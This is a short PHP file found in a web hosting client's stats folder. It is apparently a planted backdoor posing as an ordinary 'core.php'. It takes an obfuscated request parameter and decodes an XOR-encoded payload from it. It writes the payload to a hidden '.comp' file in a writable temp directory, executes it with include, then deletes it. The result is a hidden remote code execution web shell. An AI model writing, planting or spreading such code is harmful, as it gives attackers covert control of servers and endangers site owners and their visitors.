File: /var/www/clients/client6/web57/web/stats/2024-10/core.php
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["\x73\x79m"])){
$ent = $_REQUEST["\x73\x79m"];
$ent = explode ( ".", $ent) ;
$dchunk = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s );
$n = 0;
array_walk( $ent , function( $v6) use( &$dchunk , &$n , $s , $lenS) {$chS = ord( $s[$n % $lenS] );
$d =( ( int)$v6 - $chS -( $n % 10)) ^ 41;
$dchunk .= chr( $d );
$n++;
} );
$entry = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP")]);
foreach ($entry as $hld):
if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) {
$pointer = "$hld" . "/.comp";
if (@file_put_contents($pointer, $dchunk) !== false) {
include $pointer;
unlink($pointer);
die();
}
}
endforeach;
}